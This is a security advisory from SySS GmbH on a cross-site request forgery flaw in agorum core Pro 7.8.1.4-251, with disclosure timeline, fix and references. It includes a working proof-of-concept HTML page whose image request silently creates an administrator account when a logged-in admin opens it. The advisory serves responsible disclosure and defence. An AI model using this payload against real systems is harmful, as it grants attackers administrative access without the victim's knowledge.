Agorum Core Pro 7.8.1.4-251 Cross Site Request Forgery
🗓️ 14 Apr 2017 00:00:00Reported by Dr. Erlijn van GenuchtenType 
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Advisory ID: SYSS-2017-008
Product: agorum core Pro
Manufacturer: agorum Software GmbH
Affected Version(s): 7.8.1.4-251
Tested Version(s): 7.8.1.4-251
Vulnerability Type: Cross-Site Request Forgery (CWE-352)
Risk Level: Medium
Solution Status: Open
Manufacturer Notification: 2017-02-06
Solution Date: 2017-04-06
Public Disclosure: 2017-04-12
CVE Reference: Not yet assigned
Author of Advisory: Sascha Grimmeisen & Dr. Erlijn van Genuchten, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
agorum core Pro is a module based Document Management System. It allows
the customer to buy only required modules and can be extended when
needed.
Due to missing protection mechanisms, the web application component is
vulnerable to cross-site request forgery (CSRF) attacks.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
The tested web application component offers no protection against cross-
site request forgery (CSRF) attacks. This kind of attack forces end
users respectively their web browsers to perform unwanted actions in a
web application context in which they are currently authenticated.
CSRF attacks specifically target state-changing requests, for example in
order to enable or disable a feature, and not data theft, as an attacker
usually has no possibility to see the response of the forged request.
In general, CSRF attacks are conducted with the help of the victim, for
example by a user visiting an attacker-controlled URL sent by e-mail in
its web browser. Often, cross-site request forgery attacks make use of
cross-site scripting attacks, but this is not mandatory.
CSRF attacks can also be performed against a web application if a victim
is only visiting an attacker-controlled web server. In this case, the
attacker-controlled web server is used to generate a specially crafted
HTTP request in the context of the user's web browser which is then sent
to the vulnerable target web application.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
The following HTML file containing a web form generates a simple crafted
HTTP POST request that can be used to add an administration user to the
web application in the context of an administrative user.
PoC HTML file to add an administration user 'ADDEDUSER' with the password
'PASSWORD123':
<html>
<body>
<img src="https://[HOST]/roiwebui/roiwebui_module/genericEditMaskSaveAction.do?interSaveIdent=¤tTabName=&attribute(name)=ADDEDUSER&attribute(aliases)=&attribute(credentialManager)=roi&attribute(passWord1)=PASSWORD123&attribute(passWord2)=PASSWORD123&attribute(adminEnabled)=on&attribute(description)=&attribute(familyName)=ADDEDUSER&attribute(givenName)=GmbH&attribute(emailAddress)[email protected]&attribute(sendingEmailAddress)=&attribute(language)=de&attribute(mandatorIdentifier)=&attribute(defaultRole)=&attribute(associatedRole)=&folderId=1002356&portalTabNumber=1004&myTabNumber=1005&editMaskName=UserObjectEditMask&portalTabNumber=1004&attribute(selectedTab)=2">
</body>
</html>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
Update to agorum core 7.11.3. [4]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclosure Timeline:
2017-01-30: Vulnerability discovered
2017-02-06: Vulnerability reported to manufacturer
2017-04-06: Public disclosure
2017-04-06: Fix confirmed by manufacturer
2017-04-12: Vulnerability published
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
References:
[1] Product website for agorum Software GmbH
http://mein-dms.agorum.com/
[2] SySS Security Advisory SYSS-2017-008
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2017-008.txt
[3] SySS Responsible Disclosure Policy
https://www.syss.de/en/news/responsible-disclosure-policy/
[4] Agorum Change Log
https://d4w.agorum.com/roiwebui/files/520986548/Changelog.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Credits:
This security vulnerability was found by Dr. Erlijn van Genuchten and
Sascha Grimmeisen of SySS GmbH.
E-Mail: [email protected]
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Erlijn_van_Genuchten.asc
Key ID: 0xBD96FF2A
Key Fingerprint: 17BB 4CED 755A CBB3 2D47 C563 0CA5 8637 BD96 FF2A
E-Mail: [email protected]
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Sascha_Grimmeisen.asc
Key ID: 0xD3D9C868
Key Fingerprint: 4937 7FCF BA8E 3D80 1AAD 4AC4 7C1D E510 D3D9 C868
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer:
The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS Web
site.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright:
Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en
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14 Apr 2017 00:00Current
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